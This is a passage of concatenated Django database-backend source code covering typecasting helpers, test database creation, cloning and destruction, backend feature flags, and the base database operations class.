    if not s:
        return None
    hour, minutes, seconds = s.split(':')
    if '.' in seconds:  # check whether seconds have a fractional part
        seconds, microseconds = seconds.split('.')
    else:
        microseconds = '0'
    return datetime.time(int(hour), int(minutes), int(seconds), int((microseconds + '000000')[:6]))


def typecast_timestamp(s):  # does NOT store time zone information
    # "2005-07-29 15:48:00.590358-05"
    # "2005-07-29 09:56:00-05"
    if not s:
        return None
    if ' ' not in s:
        return typecast_date(s)
    d, t = s.split()
    # Extract timezone information, if it exists. Currently we just throw
    # it away, but in the future we may make use of it.
    if '-' in t:
        t, tz = t.split('-', 1)
        tz = '-' + tz
    elif '+' in t:
        t, tz = t.split('+', 1)
        tz = '+' + tz
    else:
        tz = ''
    dates = d.split('-')
    times = t.split(':')
    seconds = times[2]
    if '.' in seconds:  # check whether seconds have a fractional part
        seconds, microseconds = seconds.split('.')
    else:
        microseconds = '0'
    tzinfo = utc if settings.USE_TZ else None
    return datetime.datetime(
        int(dates[0]), int(dates[1]), int(dates[2]),
        int(times[0]), int(times[1]), int(seconds),
        int((microseconds + '000000')[:6]), tzinfo
    )


def typecast_decimal(s):
    if s is None or s == '':
        return None
    return decimal.Decimal(s)


###############################################
# Converters from Python to database (string) #
###############################################

def rev_typecast_decimal(d):
    if d is None:
        return None
    return str(d)


def truncate_name(name, length=None, hash_len=4):
    """Shortens a string to a repeatable mangled version with the given length.
    """
    if length is None or len(name) <= length:
        return name

    hsh = hashlib.md5(force_bytes(name)).hexdigest()[:hash_len]
    return '%s%s' % (name[:length - hash_len], hsh)


def format_number(value, max_digits, decimal_places):
    """
    Formats a number into a string with the requisite number of digits and
    decimal places.
    """
    if value is None:
        return None
    if isinstance(value, decimal.Decimal):
        context = decimal.getcontext().copy()
        if max_digits is not None:
            context.prec = max_digits
        if decimal_places is not None:
            value = value.quantize(decimal.Decimal(".1") ** decimal_places, context=context)
        else:
            context.traps[decimal.Rounded] = 1
            value = context.create_decimal(value)
        return "{:f}".format(value)
    if decimal_places is not None:
        return "%.*f" % (decimal_places, value)
    return "{:f}".format(value)






import sys
import time

from django.apps import apps
from django.conf import settings
from django.core import serializers
from django.db import router
from django.utils.six import StringIO
from django.utils.six.moves import input

# The prefix to put on the default database name when creating
# the test database.
TEST_DATABASE_PREFIX = 'test_'


class BaseDatabaseCreation(object):
    """
    This class encapsulates all backend-specific differences that pertain to
    creation and destruction of the test database.
    """
    def __init__(self, connection):
        self.connection = connection

    @property
    def _nodb_connection(self):
        """
        Used to be defined here, now moved to DatabaseWrapper.
        """
        return self.connection._nodb_connection

    def create_test_db(self, verbosity=1, autoclobber=False, serialize=True, keepdb=False):
        """
        Creates a test database, prompting the user for confirmation if the
        database already exists. Returns the name of the test database created.
        """
        # Don't import django.core.management if it isn't needed.
        from django.core.management import call_command

        test_database_name = self._get_test_db_name()

        if verbosity >= 1:
            action = 'Creating'
            if keepdb:
                action = "Using existing"

            print("%s test database for alias %s..." % (
                action,
                self._get_database_display_str(verbosity, test_database_name),
            ))

        # We could skip this call if keepdb is True, but we instead
        # give it the keepdb param. This is to handle the case
        # where the test DB doesn't exist, in which case we need to
        # create it, then just not destroy it. If we instead skip
        # this, we will get an exception.
        self._create_test_db(verbosity, autoclobber, keepdb)

        self.connection.close()
        settings.DATABASES[self.connection.alias]["NAME"] = test_database_name
        self.connection.settings_dict["NAME"] = test_database_name

        # We report migrate messages at one level lower than that requested.
        # This ensures we don't get flooded with messages during testing
        # (unless you really ask to be flooded).
        call_command(
            'migrate',
            verbosity=max(verbosity - 1, 0),
            interactive=False,
            database=self.connection.alias,
            run_syncdb=True,
        )

        # We then serialize the current state of the database into a string
        # and store it on the connection. This slightly horrific process is so people
        # who are testing on databases without transactions or who are using
        # a TransactionTestCase still get a clean database on every test run.
        if serialize:
            self.connection._test_serialized_contents = self.serialize_db_to_string()

        call_command('createcachetable', database=self.connection.alias)

        # Ensure a connection for the side effect of initializing the test database.
        self.connection.ensure_connection()

        return test_database_name

    def set_as_test_mirror(self, primary_settings_dict):
        """
        Set this database up to be used in testing as a mirror of a primary database
        whose settings are given
        """
        self.connection.settings_dict['NAME'] = primary_settings_dict['NAME']

    def serialize_db_to_string(self):
        """
        Serializes all data in the database into a JSON string.
        Designed only for test runner usage; will not handle large
        amounts of data.
        """
        # Build list of all apps to serialize
        from django.db.migrations.loader import MigrationLoader
        loader = MigrationLoader(self.connection)
        app_list = []
        for app_config in apps.get_app_configs():
            if (
                app_config.models_module is not None and
                app_config.label in loader.migrated_apps and
                app_config.name not in settings.TEST_NON_SERIALIZED_APPS
            ):
                app_list.append((app_config, None))

        # Make a function to iteratively return every object
        def get_objects():
            for model in serializers.sort_dependencies(app_list):
                if (model._meta.can_migrate(self.connection) and
                        router.allow_migrate_model(self.connection.alias, model)):
                    queryset = model._default_manager.using(self.connection.alias).order_by(model._meta.pk.name)
                    for obj in queryset.iterator():
                        yield obj
        # Serialize to a string
        out = StringIO()
        serializers.serialize("json", get_objects(), indent=None, stream=out)
        return out.getvalue()

    def deserialize_db_from_string(self, data):
        """
        Reloads the database with data from a string generated by
        the serialize_db_to_string method.
        """
        data = StringIO(data)
        for obj in serializers.deserialize("json", data, using=self.connection.alias):
            obj.save()

    def _get_database_display_str(self, verbosity, database_name):
        """
        Return display string for a database for use in various actions.
        """
        return "'%s'%s" % (
            self.connection.alias,
            (" ('%s')" % database_name) if verbosity >= 2 else '',
        )

    def _get_test_db_name(self):
        """
        Internal implementation - returns the name of the test DB that will be
        created. Only useful when called from create_test_db() and
        _create_test_db() and when no external munging is done with the 'NAME'
        settings.
        """
        if self.connection.settings_dict['TEST']['NAME']:
            return self.connection.settings_dict['TEST']['NAME']
        return TEST_DATABASE_PREFIX + self.connection.settings_dict['NAME']

    def _create_test_db(self, verbosity, autoclobber, keepdb=False):
        """
        Internal implementation - creates the test db tables.
        """
        suffix = self.sql_table_creation_suffix()

        test_database_name = self._get_test_db_name()

        qn = self.connection.ops.quote_name

        # Create the test database and connect to it.
        with self._nodb_connection.cursor() as cursor:
            try:
                cursor.execute(
                    "CREATE DATABASE %s %s" % (qn(test_database_name), suffix))
            except Exception as e:
                # if we want to keep the db, then no need to do any of the below,
                # just return and skip it all.
                if keepdb:
                    return test_database_name

                sys.stderr.write(
                    "Got an error creating the test database: %s\n" % e)
                if not autoclobber:
                    confirm = input(
                        "Type 'yes' if you would like to try deleting the test "
                        "database '%s', or 'no' to cancel: " % test_database_name)
                if autoclobber or confirm == 'yes':
                    try:
                        if verbosity >= 1:
                            print("Destroying old test database for alias %s..." % (
                                self._get_database_display_str(verbosity, test_database_name),
                            ))
                        cursor.execute(
                            "DROP DATABASE %s" % qn(test_database_name))
                        cursor.execute(
                            "CREATE DATABASE %s %s" % (qn(test_database_name),
                                                       suffix))
                    except Exception as e:
                        sys.stderr.write(
                            "Got an error recreating the test database: %s\n" % e)
                        sys.exit(2)
                else:
                    print("Tests cancelled.")
                    sys.exit(1)

        return test_database_name

    def clone_test_db(self, number, verbosity=1, autoclobber=False, keepdb=False):
        """
        Clone a test database.
        """
        source_database_name = self.connection.settings_dict['NAME']

        if verbosity >= 1:
            action = 'Cloning test database'
            if keepdb:
                action = 'Using existing clone'
            print("%s for alias %s..." % (
                action,
                self._get_database_display_str(verbosity, source_database_name),
            ))

        # We could skip this call if keepdb is True, but we instead
        # give it the keepdb param. See create_test_db for details.
        self._clone_test_db(number, verbosity, keepdb)

    def get_test_db_clone_settings(self, number):
        """
        Return a modified connection settings dict for the n-th clone of a DB.
        """
        # When this function is called, the test database has been created
        # already and its name has been copied to settings_dict['NAME'] so
        # we don't need to call _get_test_db_name.
        orig_settings_dict = self.connection.settings_dict
        new_settings_dict = orig_settings_dict.copy()
        new_settings_dict['NAME'] = '{}_{}'.format(orig_settings_dict['NAME'], number)
        return new_settings_dict

    def _clone_test_db(self, number, verbosity, keepdb=False):
        """
        Internal implementation - duplicate the test db tables.
        """
        raise NotImplementedError(
            "The database backend doesn't support cloning databases. "
            "Disable the option to run tests in parallel processes.")

    def destroy_test_db(self, old_database_name=None, verbosity=1, keepdb=False, number=None):
        """
        Destroy a test database, prompting the user for confirmation if the
        database already exists.
        """
        self.connection.close()
        if number is None:
            test_database_name = self.connection.settings_dict['NAME']
        else:
            test_database_name = self.get_test_db_clone_settings(number)['NAME']

        if verbosity >= 1:
            action = 'Destroying'
            if keepdb:
                action = 'Preserving'
            print("%s test database for alias %s..." % (
                action,
                self._get_database_display_str(verbosity, test_database_name),
            ))

        # if we want to preserve the database
        # skip the actual destroying piece.
        if not keepdb:
            self._destroy_test_db(test_database_name, verbosity)

        # Restore the original database name
        if old_database_name is not None:
            settings.DATABASES[self.connection.alias]["NAME"] = old_database_name
            self.connection.settings_dict["NAME"] = old_database_name

    def _destroy_test_db(self, test_database_name, verbosity):
        """
        Internal implementation - remove the test db tables.
        """
        # Remove the test database to clean up after
        # ourselves. Connect to the previous database (not the test database)
        # to do so, because it's not allowed to delete a database while being
        # connected to it.
        with self.connection._nodb_connection.cursor() as cursor:
            # Wait to avoid "database is being accessed by other users" errors.
            time.sleep(1)
            cursor.execute("DROP DATABASE %s"
                           % self.connection.ops.quote_name(test_database_name))

    def sql_table_creation_suffix(self):
        """
        SQL to append to the end of the test table creation statements.
        """
        return ''

    def test_db_signature(self):
        """
        Returns a tuple with elements of self.connection.settings_dict (a
        DATABASES setting value) that uniquely identify a database
        accordingly to the RDBMS particularities.
        """
        settings_dict = self.connection.settings_dict
        return (
            settings_dict['HOST'],
            settings_dict['PORT'],
            settings_dict['ENGINE'],
            self._get_test_db_name(),
        )






class BaseDatabaseValidation(object):
    """
    This class encapsulates all backend-specific validation.
    """
    def __init__(self, connection):
        self.connection = connection

    def check(self, **kwargs):
        return []

    def check_field(self, field, **kwargs):
        return []






from django.db.models.aggregates import StdDev
from django.db.utils import ProgrammingError
from django.utils.functional import cached_property


class BaseDatabaseFeatures(object):
    gis_enabled = False
    allows_group_by_pk = False
    allows_group_by_selected_pks = False
    empty_fetchmany_value = []
    update_can_self_select = True

    # Does the backend distinguish between '' and None?
    interprets_empty_strings_as_nulls = False

    # Does the backend allow inserting duplicate NULL rows in a nullable
    # unique field? All core backends implement this correctly, but other
    # databases such as SQL Server do not.
    supports_nullable_unique_constraints = True

    # Does the backend allow inserting duplicate rows when a unique_together
    # constraint exists and some fields are nullable but not all of them?
    supports_partially_nullable_unique_constraints = True

    can_use_chunked_reads = True
    can_return_id_from_insert = False
    can_return_ids_from_bulk_insert = False
    has_bulk_insert = False
    uses_savepoints = False
    can_release_savepoints = False
    can_combine_inserts_with_and_without_auto_increment_pk = False

    # If True, don't use integer foreign keys referring to, e.g., positive
    # integer primary keys.
    related_fields_match_type = False
    allow_sliced_subqueries = True
    has_select_for_update = False
    has_select_for_update_nowait = False
    has_select_for_update_skip_locked = False

    supports_select_related = True

    # Does the default test database allow multiple connections?
    # Usually an indication that the test database is in-memory
    test_db_allows_multiple_connections = True

    # Can an object be saved without an explicit primary key?
    supports_unspecified_pk = False

    # Can a fixture contain forward references? i.e., are
    # FK constraints checked at the end of transaction, or
    # at the end of each save operation?
    supports_forward_references = True

    # Does the backend truncate names properly when they are too long?
    truncates_names = False

    # Is there a REAL datatype in addition to floats/doubles?
    has_real_datatype = False
    supports_subqueries_in_group_by = True
    supports_bitwise_or = True

    # Is there a true datatype for uuid?
    has_native_uuid_field = False

    # Is there a true datatype for timedeltas?
    has_native_duration_field = False

    # Does the database driver supports same type temporal data subtraction
    # by returning the type used to store duration field?
    supports_temporal_subtraction = False

    # Does the database driver support timedeltas as arguments?
    # This is only relevant when there is a native duration field.
    # Specifically, there is a bug with cx_Oracle:
    # https://bitbucket.org/anthony_tuininga/cx_oracle/issue/7/
    driver_supports_timedelta_args = False

    # Do time/datetime fields have microsecond precision?
    supports_microsecond_precision = True

    # Does the __regex lookup support backreferencing and grouping?
    supports_regex_backreferencing = True

    # Can date/datetime lookups be performed using a string?
    supports_date_lookup_using_string = True

    # Can datetimes with timezones be used?
    supports_timezones = True

    # Does the database have a copy of the zoneinfo database?
    has_zoneinfo_database = True

    # When performing a GROUP BY, is an ORDER BY NULL required
    # to remove any ordering?
    requires_explicit_null_ordering_when_grouping = False

    # Does the backend order NULL values as largest or smallest?
    nulls_order_largest = False

    # Is there a 1000 item limit on query parameters?
    supports_1000_query_parameters = True

    # Can an object have an autoincrement primary key of 0? MySQL says No.
    allows_auto_pk_0 = True

    # Do we need to NULL a ForeignKey out, or can the constraint check be
    # deferred
    can_defer_constraint_checks = False

    # date_interval_sql can properly handle mixed Date/DateTime fields and timedeltas
    supports_mixed_date_datetime_comparisons = True

    # Does the backend support tablespaces? Default to False because it isn't
    # in the SQL standard.
    supports_tablespaces = False

    # Does the backend reset sequences between tests?
    supports_sequence_reset = True

    # Can the backend determine reliably the length of a CharField?
    can_introspect_max_length = True

    # Can the backend determine reliably if a field is nullable?
    # Note that this is separate from interprets_empty_strings_as_nulls,
    # although the latter feature, when true, interferes with correct
    # setting (and introspection) of CharFields' nullability.
    # This is True for all core backends.
    can_introspect_null = True

    # Can the backend introspect the default value of a column?
    can_introspect_default = True

    # Confirm support for introspected foreign keys
    # Every database can do this reliably, except MySQL,
    # which can't do it for MyISAM tables
    can_introspect_foreign_keys = True

    # Can the backend introspect an AutoField, instead of an IntegerField?
    can_introspect_autofield = False

    # Can the backend introspect a BigIntegerField, instead of an IntegerField?
    can_introspect_big_integer_field = True

    # Can the backend introspect an BinaryField, instead of an TextField?
    can_introspect_binary_field = True

    # Can the backend introspect an DecimalField, instead of an FloatField?
    can_introspect_decimal_field = True

    # Can the backend introspect an IPAddressField, instead of an CharField?
    can_introspect_ip_address_field = False

    # Can the backend introspect a PositiveIntegerField, instead of an IntegerField?
    can_introspect_positive_integer_field = False

    # Can the backend introspect a SmallIntegerField, instead of an IntegerField?
    can_introspect_small_integer_field = False

    # Can the backend introspect a TimeField, instead of a DateTimeField?
    can_introspect_time_field = True

    # Can the backend introspect the column order (ASC/DESC) for indexes?
    supports_index_column_ordering = True

    # Can the backend introspect the type of index created?
    can_introspect_index_type = False

    # Support for the DISTINCT ON clause
    can_distinct_on_fields = False

    # Does the backend decide to commit before SAVEPOINT statements
    # when autocommit is disabled? http://bugs.python.org/issue8145#msg109965
    autocommits_when_autocommit_is_off = False

    # Does the backend prevent running SQL queries in broken transactions?
    atomic_transactions = True

    # Can we roll back DDL in a transaction?
    can_rollback_ddl = False

    # Can we issue more than one ALTER COLUMN clause in an ALTER TABLE?
    supports_combined_alters = False

    # Does it support foreign keys?
    supports_foreign_keys = True

    # Does it support CHECK constraints?
    supports_column_check_constraints = True

    # Does the backend support 'pyformat' style ("... %(name)s ...", {'name': value})
    # parameter passing? Note this can be provided by the backend even if not
    # supported by the Python driver
    supports_paramstyle_pyformat = True

    # Does the backend require literal defaults, rather than parameterized ones?
    requires_literal_defaults = False

    # Does the backend require a connection reset after each material schema change?
    connection_persists_old_columns = False

    # What kind of error does the backend throw when accessing closed cursor?
    closed_cursor_error_class = ProgrammingError

    # Does 'a' LIKE 'A' match?
    has_case_insensitive_like = True

    # Does the backend require the sqlparse library for splitting multi-line
    # statements before executing them?
    requires_sqlparse_for_splitting = True

    # Suffix for backends that don't support "SELECT xxx;" queries.
    bare_select_suffix = ''

    # If NULL is implied on columns without needing to be explicitly specified
    implied_column_null = False

    uppercases_column_names = False

    # Does the backend support "select for update" queries with limit (and offset)?
    supports_select_for_update_with_limit = True

    # Does the backend ignore null expressions in GREATEST and LEAST queries unless
    # every expression is null?
    greatest_least_ignores_nulls = False

    # Can the backend clone databases for parallel test execution?
    # Defaults to False to allow third-party backends to opt-in.
    can_clone_databases = False

    # Does the backend consider quoted identifiers with different casing to
    # be equal?
    ignores_quoted_identifier_case = False

    def __init__(self, connection):
        self.connection = connection

    @cached_property
    def supports_transactions(self):
        """Confirm support for transactions."""
        with self.connection.cursor() as cursor:
            cursor.execute('CREATE TABLE ROLLBACK_TEST (X INT)')
            self.connection.set_autocommit(False)
            cursor.execute('INSERT INTO ROLLBACK_TEST (X) VALUES (8)')
            self.connection.rollback()
            self.connection.set_autocommit(True)
            cursor.execute('SELECT COUNT(X) FROM ROLLBACK_TEST')
            count, = cursor.fetchone()
            cursor.execute('DROP TABLE ROLLBACK_TEST')
        return count == 0

    @cached_property
    def supports_stddev(self):
        """Confirm support for STDDEV and related stats functions."""
        try:
            self.connection.ops.check_expression_support(StdDev(1))
            return True
        except NotImplementedError:
            return False

    def introspected_boolean_field_type(self, field=None, created_separately=False):
        """
        What is the type returned when the backend introspects a BooleanField?
        The optional arguments may be used to give further details of the field to be
        introspected; in particular, they are provided by Django's test suite:
        field -- the field definition
        created_separately -- True if the field was added via a SchemaEditor's AddField,
                              False if the field was created with the model

        Note that return value from this function is compared by tests against actual
        introspection results; it should provide expectations, not run an introspection
        itself.
        """
        if self.can_introspect_null and field and field.null:
            return 'NullBooleanField'
        return 'BooleanField'






import datetime
import decimal
import warnings
from importlib import import_module

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db.backends import utils
from django.utils import six, timezone
from django.utils.dateparse import parse_duration
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text


class BaseDatabaseOperations(object):
    """
    This class encapsulates all backend-specific differences, such as the way
    a backend performs ordering or calculates the ID of a recently-inserted
    row.
    """
    compiler_module = "django.db.models.sql.compiler"

    # Integer field safe ranges by `internal_type` as documented
    # in docs/ref/models/fields.txt.
    integer_field_ranges = {
        'SmallIntegerField': (-32768, 32767),
        'IntegerField': (-2147483648, 2147483647),
        'BigIntegerField': (-9223372036854775808, 9223372036854775807),
        'PositiveSmallIntegerField': (0, 32767),
        'PositiveIntegerField': (0, 2147483647),
    }

    def __init__(self, connection):
        self.connection = connection
        self._cache = None

    def autoinc_sql(self, table, column):
        """
        Returns any SQL needed to support auto-incrementing primary keys, or
        None if no SQL is necessary.

        This SQL is executed when a table is created.
        """
        return None

    def bulk_batch_size(self, fields, objs):
        """
        Returns the maximum allowed batch size for the backend. The fields
        are the fields going to be inserted in the batch, the objs contains
        all the objects to be inserted.
        """
        return len(objs)

    def cache_key_culling_sql(self):
        """
        Returns an SQL query that retrieves the first cache key greater than the
        n smallest.

        This is used by the 'db' cache backend to determine where to start
        culling.
        """
        return "SELECT cache_key FROM %s ORDER BY cache_key LIMIT 1 OFFSET %%s"

    def unification_cast_sql(self, output_field):
        """
        Given a field instance, returns the SQL necessary to cast the result of
        a union to that type. Note that the resulting string should contain a
        '%s' placeholder for the expression being cast.
        """
        return '%s'

    def date_extract_sql(self, lookup_type, field_name):
        """
        Given a lookup_type of 'year', 'month' or 'day', returns the SQL that
        extracts a value from the given date field field_name.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a date_extract_sql() method')

    def date_interval_sql(self, timedelta):
        """
        Implements the date interval functionality for expressions
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a date_interval_sql() method')

    def date_trunc_sql(self, lookup_type, field_name):
        """
        Given a lookup_type of 'year', 'month' or 'day', returns the SQL that
        truncates the given date field field_name to a date object with only
        the given specificity.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetrunc_sql() method')

    def datetime_cast_date_sql(self, field_name, tzname):
        """
        Returns the SQL necessary to cast a datetime value to date value.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetime_cast_date() method')

    def datetime_cast_time_sql(self, field_name, tzname):
        """
        Returns the SQL necessary to cast a datetime value to time value.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetime_cast_time_sql() method')

    def datetime_extract_sql(self, lookup_type, field_name, tzname):
        """
        Given a lookup_type of 'year', 'month', 'day', 'hour', 'minute' or
        'second', returns the SQL that extracts a value from the given
        datetime field field_name, and a tuple of parameters.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetime_extract_sql() method')

    def datetime_trunc_sql(self, lookup_type, field_name, tzname):
        """
        Given a lookup_type of 'year', 'month', 'day', 'hour', 'minute' or
        'second', returns the SQL that truncates the given datetime field
        field_name to a datetime object with only the given specificity, and
        a tuple of parameters.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a datetime_trunk_sql() method')

    def time_trunc_sql(self, lookup_type, field_name):
        """
        Given a lookup_type of 'hour', 'minute' or 'second', returns the SQL
        that truncates the given time field field_name to a time object with
        only the given specificity.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a time_trunc_sql() method')

    def time_extract_sql(self, lookup_type, field_name):
        """
        Given a lookup_type of 'hour', 'minute' or 'second', returns the SQL
        that extracts a value from the given time field field_name.
        """
        return self.date_extract_sql(lookup_type, field_name)

    def deferrable_sql(self):
        """
        Returns the SQL necessary to make a constraint "initially deferred"
        during a CREATE TABLE statement.
        """
        return ''

    def distinct_sql(self, fields):
        """
        Returns an SQL DISTINCT clause which removes duplicate rows from the
        result set. If any fields are given, only the given fields are being
        checked for duplicates.
        """
        if fields:
            raise NotImplementedError('DISTINCT ON fields is not supported by this database backend')
        else:
            return 'DISTINCT'

    def fetch_returned_insert_id(self, cursor):
        """
        Given a cursor object that has just performed an INSERT...RETURNING
        statement into a table that has an auto-incrementing ID, returns the
        newly created ID.
        """
        return cursor.fetchone()[0]

    def field_cast_sql(self, db_type, internal_type):
        """
        Given a column type (e.g. 'BLOB', 'VARCHAR'), and an internal type
        (e.g. 'GenericIPAddressField'), returns the SQL necessary to cast it
        before using it in a WHERE statement. Note that the resulting string
        should contain a '%s' placeholder for the column being searched against.
        """
        return '%s'

    def force_no_ordering(self):
        """
        Returns a list used in the "ORDER BY" clause to force no ordering at
        all. Returning an empty list means that nothing will be included in the
        ordering.
        """
        return []

    def for_update_sql(self, nowait=False, skip_locked=False):
        """
        Returns the FOR UPDATE SQL clause to lock rows for an update operation.
        """
        if nowait:
            return 'FOR UPDATE NOWAIT'
        elif skip_locked:
            return 'FOR UPDATE SKIP LOCKED'
        else:
            return 'FOR UPDATE'

    def fulltext_search_sql(self, field_name):
        """
        Returns the SQL WHERE clause to use in order to perform a full-text
        search of the given field_name. Note that the resulting string should
        contain a '%s' placeholder for the value being searched against.
        """
        # RemovedInDjango20Warning
        raise NotImplementedError('Full-text search is not implemented for this database backend')

    def last_executed_query(self, cursor, sql, params):
        """
        Returns a string of the query last executed by the given cursor, with
        placeholders replaced with actual values.

        `sql` is the raw query containing placeholders, and `params` is the
        sequence of parameters. These are used by default, but this method
        exists for database backends to provide a better implementation
        according to their own quoting schemes.
        """
        # Convert params to contain Unicode values.
        def to_unicode(s):
            return force_text(s, strings_only=True, errors='replace')
        if isinstance(params, (list, tuple)):
            u_params = tuple(to_unicode(val) for val in params)
        elif params is None:
            u_params = ()
        else:
            u_params = {to_unicode(k): to_unicode(v) for k, v in params.items()}

        return six.text_type("QUERY = %r - PARAMS = %r") % (sql, u_params)

    def last_insert_id(self, cursor, table_name, pk_name):
        """
        Given a cursor object that has just performed an INSERT statement into
        a table that has an auto-incrementing ID, returns the newly created ID.

        This method also receives the table name and the name of the primary-key
        column.
        """
        return cursor.lastrowid

    def lookup_cast(self, lookup_type, internal_type=None):
        """
        Returns the string to use in a query when performing lookups
        ("contains", "like", etc.). The resulting string should contain a '%s'
        placeholder for the column being searched against.
        """
        return "%s"

    def max_in_list_size(self):
        """
        Returns the maximum number of items that can be passed in a single 'IN'
        list condition, or None if the backend does not impose a limit.
        """
        return None

    def max_name_length(self):
        """
        Returns the maximum length of table and column names, or None if there
        is no limit.
        """
        return None

    def no_limit_value(self):
        """
        Returns the value to use for the LIMIT when we are wanting "LIMIT
        infinity". Returns None if the limit clause can be omitted in this case.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a no_limit_value() method')

    def pk_default_value(self):
        """
        Returns the value to use during an INSERT statement to specify that
        the field should use its default value.
        """
        return 'DEFAULT'

    def prepare_sql_script(self, sql):
        """
        Takes an SQL script that may contain multiple lines and returns a list
        of statements to feed to successive cursor.execute() calls.

        Since few databases are able to process raw SQL scripts in a single
        cursor.execute() call and PEP 249 doesn't talk about this use case,
        the default implementation is conservative.
        """
        try:
            import sqlparse
        except ImportError:
            raise ImproperlyConfigured(
                "sqlparse is required if you don't split your SQL "
                "statements manually."
            )
        else:
            return [sqlparse.format(statement, strip_comments=True)
                    for statement in sqlparse.split(sql) if statement]

    def process_clob(self, value):
        """
        Returns the value of a CLOB column, for backends that return a locator
        object that requires additional processing.
        """
        return value

    def return_insert_id(self):
        """
        For backends that support returning the last insert ID as part
        of an insert query, this method returns the SQL and params to
        append to the INSERT query. The returned fragment should
        contain a format string to hold the appropriate column.
        """
        pass

    def compiler(self, compiler_name):
        """
        Returns the SQLCompiler class corresponding to the given name,
        in the namespace corresponding to the `compiler_module` attribute
        on this backend.
        """
        if self._cache is None:
            self._cache = import_module(self.compiler_module)
        return getattr(self._cache, compiler_name)

    def quote_name(self, name):
        """
        Returns a quoted version of the given table, index or column name. Does
        not quote the given name if it's already been quoted.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a quote_name() method')

    def random_function_sql(self):
        """
        Returns an SQL expression that returns a random value.
        """
        return 'RANDOM()'

    def regex_lookup(self, lookup_type):
        """
        Returns the string to use in a query when performing regular expression
        lookups (using "regex" or "iregex"). The resulting string should
        contain a '%s' placeholder for the column being searched against.

        If the feature is not supported (or part of it is not supported), a
        NotImplementedError exception can be raised.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations may require a regex_lookup() method')

    def savepoint_create_sql(self, sid):
        """
        Returns the SQL for starting a new savepoint. Only required if the
        "uses_savepoints" feature is True. The "sid" parameter is a string
        for the savepoint id.
        """
        return "SAVEPOINT %s" % self.quote_name(sid)

    def savepoint_commit_sql(self, sid):
        """
        Returns the SQL for committing the given savepoint.
        """
        return "RELEASE SAVEPOINT %s" % self.quote_name(sid)

    def savepoint_rollback_sql(self, sid):
        """
        Returns the SQL for rolling back the given savepoint.
        """
        return "ROLLBACK TO SAVEPOINT %s" % self.quote_name(sid)

    def set_time_zone_sql(self):
        """
        Returns the SQL that will set the connection's time zone.

        Returns '' if the backend doesn't support time zones.
        """
        return ''

    def sql_flush(self, style, tables, sequences, allow_cascade=False):
        """
        Returns a list of SQL statements required to remove all data from
        the given database tables (without actually removing the tables
        themselves).

        The returned value also includes SQL statements required to reset DB
        sequences passed in :param sequences:.

        The `style` argument is a Style object as returned by either
        color_style() or no_style() in django.core.management.color.

        The `allow_cascade` argument determines whether truncation may cascade
        to tables with foreign keys pointing the tables being truncated.
        PostgreSQL requires a cascade even if these tables are empty.
        """
        raise NotImplementedError('subclasses of BaseDatabaseOperations must provide an sql_flush() method')

    def sequence_reset_by_name_sql(self, style, sequences):
        """
        Returns a list of the SQL statements required to reset sequences
        passed in :param sequences:.

        The `style` argument is a Style object as returned by either
        color_style() or no_style() in django.core.management.color.
        """
        return []

    def sequence_reset_sql(self, style, model_list):
        """
        Returns a list of the SQL statements required to reset sequences for
        the given models.

        The `style` argument is a Style object as returned by either
        color_style() or no_style() in django.core.management.color.
        """
        return []  # No sequence reset required by default.

    def start_transaction_sql(self):
        """
        Returns the SQL statement required to start a transaction.
        """
        return "BEGIN;"

    def end_transaction_sql(self, success=True):
        """
        Returns the SQL statement required to end a transaction.
        """
        if not success:
            return "ROLLBACK;"
        return "COMMIT;"

    def tablespace_sql(self, tablespace, inline=False):
        """
        Returns the SQL that will be used in a query to define the tablespace.

        Returns '' if the backend doesn't support tablespaces.

        If inline is True, the SQL is appended to a row; otherwise it's appended
        to the entire CREATE TABLE or CREATE INDEX statement.
        """
        return ''

    def prep_for_like_query(self, x):
        """Prepares a value for use in a LIKE query."""
        return force_text(x).replace("\\", "\\\\").replace("%", "\%").replace("_", "\_")

    # Same as prep_for_like_query(), but called for "iexact" matches, which
    # need not necessarily be implemented using "LIKE" in the backend.
    prep_for_iexact_query = prep_for_like_query

    def validate_autopk_value(self, value):
        """
        Certain backends do not accept some values for "serial" fields
        (for example zero in MySQL). This method will raise a ValueError
        if the value is invalid, otherwise returns validated value.
        """
        return value

    def adapt_unknown_value(self, value):
        """
        Transforms a value to something compatible with the backend driver.

        This method only depends on the type of the value. It's designed for
        cases where the target type isn't known, such as .raw() SQL queries.
        As a consequence it may not work perfectly in all circumstances.
        """
        if isinstance(value, datetime.datetime):   # must be before date
            return self.adapt_datetimefield_value(value)
        elif isinstance(value, datetime.date):
            return self.adapt_datefield_value(value)
        elif isinstance(value, datetime.time):
            return self.adapt_timefield_value(value)
        elif isinstance(value, decimal.Decimal):
            return self.adapt_decimalfield_value(value)
        else:
            return value

    def adapt_datefield_value(self, value):
        """
        Transforms a date value to an object compatible with what is expected
        by the backend driver for date columns.
        """
        if value is None:
            return None
        return six.text_type(value)

    def adapt_datetimefield_value(self, value):
        """
        Transforms a datetime value to an object compatible with what is expected
        by the backend driver for datetime columns.
        """
        if value is None:
            return None
        return six.text_type(value)

    def adapt_timefield_value(self, value):
        """
        Transforms a time value to an object compatible with what is expected
        by the backend driver for time columns.
        """
        if value is None:
            return None
        if timezone.is_aware(value):
            raise ValueError("Django does not support timezone-aware times.")
        return six.text_type(value)

    def adapt_decimalfield_value(self, value, max_digits=None, decimal_places=None):
        """
        Transforms a decimal.Decimal value to an object compatible with what is
        expected by the backend driver for decimal (numeric) columns.
        """
        return utils.format_number(value, max_digits, decimal_places)

    def adapt_ipaddressfield_value(self, value):
        """
        Transforms a string representation of an IP address into the expected
        type for the backend driver.
        """
        return value or None

    def year_lookup_bounds_for_date_field(self, value):
        """
        Returns a two-elements list with the lower and upper bound to be used
        with a BETWEEN operator to query a DateField value using a year
        lookup.

        `value` is an int, containing the looked-up year.
        """
        first = datetime.date(value, 1, 1)
